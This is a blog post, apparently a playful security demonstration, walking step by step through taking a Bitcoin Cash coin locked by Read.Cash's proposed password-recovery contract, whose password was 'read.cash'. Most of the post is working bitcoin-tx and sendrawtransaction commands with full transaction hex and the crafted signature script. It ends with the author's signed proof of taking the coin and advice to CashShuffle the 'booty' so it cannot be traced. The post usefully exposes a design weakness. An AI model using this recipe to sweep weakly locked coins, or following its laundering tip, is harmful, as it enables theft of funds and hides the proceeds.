Grand Theft Read.Cash
Earlier today, the people behind Read.Cash drafted a proposal for a smart contract allowing password-based wallet recovery. I think this has both positive and negative aspects. I like the general idea of ...
The tools
Bitcoin ABC (required, blockchain history not needed)
text editor (required)
Electron Cash (optional)
Mission Impossible theme music (optional)
The plan
Step 1. Use Electron Cash to generate a receiving address for the booty. Upon success, Electron Cash will automatically initiate CashShuffle for the perfect getaway. I generated bitcoincash:qpq9y25eejhx7pdk53eul93r563v68jz4s4stdkf5j
. Alternatively, use the wallet within Bitcoin ABC, but then the treasure remains traceable.
Step 2. Bitcoin ABC comes with an optional command-line utility bitcoin-tx
to construct transactions. You can find it in the bin
directory. Summon its manual:
$ bitcoin-tx -?
Bitcoin ABC bitcoin-tx utility version v0.20.6-unk
Usage: bitcoin-tx [options] <hex-tx> [commands] Update hex-encoded bitcoin transaction
or: bitcoin-tx [options] -create [commands] Create hex-encoded bitcoin transaction
Options:
-?
This help message
-create
Create new, empty TX.
-json
Select JSON output
-txid
Output only the hex-encoded transaction id of the resultant transaction.
Chain selection options:
-testnet
Use the test chain
Commands:
delin=N
Delete input N from TX
delout=N
Delete output N from TX
in=TXID:VOUT(:SEQUENCE_NUMBER)
Add input to TX
locktime=N
Set TX lock time to N
nversion=N
Set TX version to N
outaddr=VALUE:ADDRESS
Add address-based output to TX
outdata=[VALUE:]DATA
Add data-based output to TX
outmultisig=VALUE:REQUIRED:PUBKEYS:PUBKEY1:PUBKEY2:....[:FLAGS]
Add Pay To n-of-m Multi-sig output to TX. n = REQUIRED, m = PUBKEYS.
Optionally add the "S" flag to wrap the output in a
pay-to-script-hash.
outpubkey=VALUE:PUBKEY[:FLAGS]
Add pay-to-pubkey output to TX. Optionally add the "S" flag to wrap the
output in a pay-to-script-hash.
outscript=VALUE:SCRIPT[:FLAGS]
Add raw script output to TX. Optionally add the "S" flag to wrap the
output in a pay-to-script-hash.
sign=SIGHASH-FLAGS
Add zero or more signatures to transaction. This command requires JSON
registers:prevtxs=JSON object, privatekeys=JSON object. See
signrawtransactionwithkey docs for format of sighash flags, JSON
objects.
Register Commands:
load=NAME:FILENAME
Load JSON file FILENAME into register NAME
set=NAME:JSON-STRING
Set register NAME to given JSON-STRING
Step 3. Figure out what coin you want to steal. In this case, the mission is output 1 (count from zero) of transaction b48e260f36142340cc1652bbc2da5028303e21f469d169393d3b08f234165dfc, worth 0.02290635 BCH.
Step 4. Create the transaction, ignoring the amount of the output for a moment:
$ bitcoin-tx -json -create in=b48e260f36142340cc1652bbc2da5028303e21f469d169393d3b08f234165dfc:1 outaddr=0:qpq9y25eejhx7pdk53eul93r563v68jz4s4stdkf5j
{
"txid": "d0dc399a668008fa6a0bebc0680ba16d3ca33187fa0ea37adf7a5a367f330dbd",
"hash": "d0dc399a668008fa6a0bebc0680ba16d3ca33187fa0ea37adf7a5a367f330dbd",
"version": 2,
"size": 85,
"locktime": 0,
"vin": [
{
"txid": "b48e260f36142340cc1652bbc2da5028303e21f469d169393d3b08f234165dfc",
"vout": 1,
"scriptSig": {
"asm": "",
"hex": ""
},
"sequence": 4294967295
}
],
"vout": [
{
"value": 0.00000000,
"n": 0,
"scriptPubKey": {
"asm": "OP_DUP OP_HASH160 40522a99ccae6f05b6a473cf9623a6a2cd1e42ac OP_EQUALVERIFY OP_CHECKSIG",
"hex": "76a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac",
"reqSigs": 1,
"type": "pubkeyhash",
"addresses": [
"16s6gJN1t7yPZGfzUFvMo9xkFvN7MzjkHH"
]
}
}
],
"hex": "0200000001fc5d1634f2083b3d3969d169f4213e302850dac2bb5216cc402314360f268eb40100000000ffffffff0100000000000000001976a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac00000000"
}
Step 5. You see the scriptSig
field of the input, the signature script that authorises spending the input, is still missing. Since the coin we're stealing is a Pay-to-Script-Hash (P2SH) coin, the signature script consists of the unhashed P2SH script (b251f93c45baea5c72bae18311c75eccad404291 OP_OVER 'read.cash' OP_EQUAL OP_NIP OP_NIP
), preceded by all other input data to this P2SH script itself (again the password 'read.cash'):
Password length (9) push operation: 09
Password: 726561642e63617368
Unhashed P2SH script length (35) push operation: 23
Unhashed P2SH script: 14b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777
Full signature script:
09726561642e636173682314b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777
Step 6. Our signature script is 46 bytes long, or 47 bytes including a 1-byte length indicator prefix (2e
). This must replace the 0-byte signature script with 1-byte length indicator (00
) in our transaction template. The transaction will therefore grow from 85 bytes to 131 bytes. With the minimum fee rate of 1 sat/b, we thus need to attach a fee of 0.00000131 BCH, so we can claim 0.02290504 BCH for ourselves. Generate a new transaction template accordingly:
$ bitcoin-tx -json -create in=b48e260f36142340cc1652bbc2da5028303e21f469d169393d3b08f234165dfc:1 outaddr=0.02290504:qpq9y25eejhx7pdk53eul93r563v68jz4s4stdkf5j
{
"txid": "0229cef50d62eff07dd7133ce9db29364c46866b0b46f8437f58bf3e2012318e",
"hash": "0229cef50d62eff07dd7133ce9db29364c46866b0b46f8437f58bf3e2012318e",
"version": 2,
"size": 85,
"locktime": 0,
"vin": [
{
"txid": "b48e260f36142340cc1652bbc2da5028303e21f469d169393d3b08f234165dfc",
"vout": 1,
"scriptSig": {
"asm": "",
"hex": ""
},
"sequence": 4294967295
}
],
"vout": [
{
"value": 0.02290504,
"n": 0,
"scriptPubKey": {
"asm": "OP_DUP OP_HASH160 40522a99ccae6f05b6a473cf9623a6a2cd1e42ac OP_EQUALVERIFY OP_CHECKSIG",
"hex": "76a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac",
"reqSigs": 1,
"type": "pubkeyhash",
"addresses": [
"16s6gJN1t7yPZGfzUFvMo9xkFvN7MzjkHH"
]
}
}
],
"hex": "0200000001fc5d1634f2083b3d3969d169f4213e302850dac2bb5216cc402314360f268eb40100000000ffffffff0148f32200000000001976a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac00000000"
}
Step 7. To complete the transaction, the signature script must be inserted into the transaction template manually. To do so, copy and paste the hexadecimal representation of the transaction into a text editor. Use the transaction format documentation to decode it and find the right place for inserting the signature:
Version number (2): 02000000
Number of inputs (1) as varint: 01
Parent transaction: fc5d1634f2083b3d3969d169f4213e302850dac2bb5216cc402314360f268eb4
Parent transaction output index (1): 01000000
Signature script length (0) as varint: 00
Remainder of transaction: ffffffff0148f32200000000001976a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac00000000
Step 8. Replace the zero-length signature script with the actual signature script constructed earlier:
Version number (2): 02000000
Number of inputs (1) as varint: 01
Parent transaction: fc5d1634f2083b3d3969d169f4213e302850dac2bb5216cc402314360f268eb4
Parent transaction output index (1): 01000000
Signature script length (46) as varint: 2e
Signature script: 09726561642e636173682314b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777
Remainder of transaction: ffffffff0148f32200000000001976a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac00000000
Full transaction: 0200000001fc5d1634f2083b3d3969d169f4213e302850dac2bb5216cc402314360f268eb4010000002e09726561642e636173682314b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777ffffffff0148f32200000000001976a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac00000000
Step 9. Verify that the resulting transaction looks alright:
$ bitcoin-tx -json 0200000001fc5d1634f2083b3d3969d169f4213e302850dac2bb5216cc402314360f268eb4010000002e09726561642e636173682314b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777ffffffff0148f32200000000001976a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac00000000
{
"txid": "b73ad30dcba9ed29512ae2c8ea23d6c6bfd8786042e1347938b96e1b296b1f2c",
"hash": "b73ad30dcba9ed29512ae2c8ea23d6c6bfd8786042e1347938b96e1b296b1f2c",
"version": 2,
"size": 131,
"locktime": 0,
"vin": [
{
"txid": "b48e260f36142340cc1652bbc2da5028303e21f469d169393d3b08f234165dfc",
"vout": 1,
"scriptSig": {
"asm": "726561642e63617368 14b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777",
"hex": "09726561642e636173682314b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777"
},
"sequence": 4294967295
}
],
"vout": [
{
"value": 0.02290504,
"n": 0,
"scriptPubKey": {
"asm": "OP_DUP OP_HASH160 40522a99ccae6f05b6a473cf9623a6a2cd1e42ac OP_EQUALVERIFY OP_CHECKSIG",
"hex": "76a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac",
"reqSigs": 1,
"type": "pubkeyhash",
"addresses": [
"16s6gJN1t7yPZGfzUFvMo9xkFvN7MzjkHH"
]
}
}
],
"hex": "0200000001fc5d1634f2083b3d3969d169f4213e302850dac2bb5216cc402314360f268eb4010000002e09726561642e636173682314b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777ffffffff0148f32200000000001976a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac00000000"
}
Step 10. Start the Bitcoin ABC node. Open the debug window via the help menu and go to the console tab. Read the scammer warning and laugh evilly, because this time you are the criminal. Then, summon the command list:
$ help
== Blockchain ==
(...)
== Control ==
(...)
== Generating ==
(...)
== Mining ==
(...)
== Network ==
(...)
== Rawtransactions ==
combinepsbt ["psbt",...]
combinerawtransaction ["hexstring",...]
converttopsbt "hexstring" ( permitsigdata )
createpsbt [{"txid":"id","vout":n},...] [{"address":amount},{"data":"hex"},...] ( locktime )
createrawtransaction [{"txid":"id","vout":n},...] [{"address":amount},{"data":"hex"},...] ( locktime )
decodepsbt "psbt"
decoderawtransaction "hexstring"
decodescript "hexstring"
finalizepsbt "psbt" ( extract )
fundrawtransaction "hexstring" ( options )
getrawtransaction "txid" ( verbose "blockhash" )
sendrawtransaction "hexstring" ( allowhighfees )
signrawtransactionwithkey "hexstring" ["privatekey1",...] ( [{"txid":"id","vout":n,"scriptPubKey":"hex","redeemScript":"hex"},...] sighashtype )
testmempoolaccept ["rawtxs"] ( allowhighfees )
== Util ==
(...)
== Wallet ==
(...)
Step 11. Find the transaction broadcast command sendrawtransaction
and look up how it works:
$ help sendrawtransaction
sendrawtransaction "hexstring" ( allowhighfees )
Submits raw transaction (serialized, hex-encoded) to local node and network.
Also see createrawtransaction and signrawtransactionwithkey calls.
Arguments:
1. "hexstring" (string, required) The hex string of the raw transaction)
2. allowhighfees (boolean, optional, default=false) Allow high fees
Result:
"hex" (string) The transaction hash in hex
Examples:
Create a transaction
> bitcoin-cli createrawtransaction "[{\"txid\" : \"mytxid\",\"vout\":0}]" "{\"myaddress\":0.01}"
Sign the transaction, and get back the hex
> bitcoin-cli signrawtransactionwithwallet "myhex"
Send the transaction (signed hex)
> bitcoin-cli sendrawtransaction "signedhex"
As a json rpc call
> curl --user myusername --data-binary '{"jsonrpc": "1.0", "id":"curltest", "method": "sendrawtransaction", "params": ["signedhex"] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/
Step 12. Now go for it. Don't let your dreams be dreams. Join the dark side. Commit the crime:
$ sendrawtransaction 0200000001fc5d1634f2083b3d3969d169f4213e302850dac2bb5216cc402314360f268eb4010000002e09726561642e636173682314b251f93c45baea5c72bae18311c75eccad4042917809726561642e63617368877777ffffffff0148f32200000000001976a91440522a99ccae6f05b6a473cf9623a6a2cd1e42ac88ac00000000
Alea iacta est. If the heist succeeds, Electron Cash will quickly detect an incoming transaction. But since the transaction has no cryptographic signature, the booty can still be stolen by a miner even more evil than you - until the transaction is confirmed. Electron Cash will then CashShuffle the proceeds to make it untraceable. Just make sure to avoid spending the shuffled coins together.
Proof of success
Message: All Read.cash's $5 are belong to BigBlockIfTrue!
Address: qpq9y25eejhx7pdk53eul93r563v68jz4s4stdkf5j
Signature: IDuoVZb/0Qm+TAaKMdvf4wbR0WvW/iq1zwN3VwYqf4xSDVY9kxfN3cu3pJ2rnbufmvbjntP9T+eAQ1suPPZIHDw=
Very useful information. It is technically detailed and well structured for easy understanding. Thank you for the information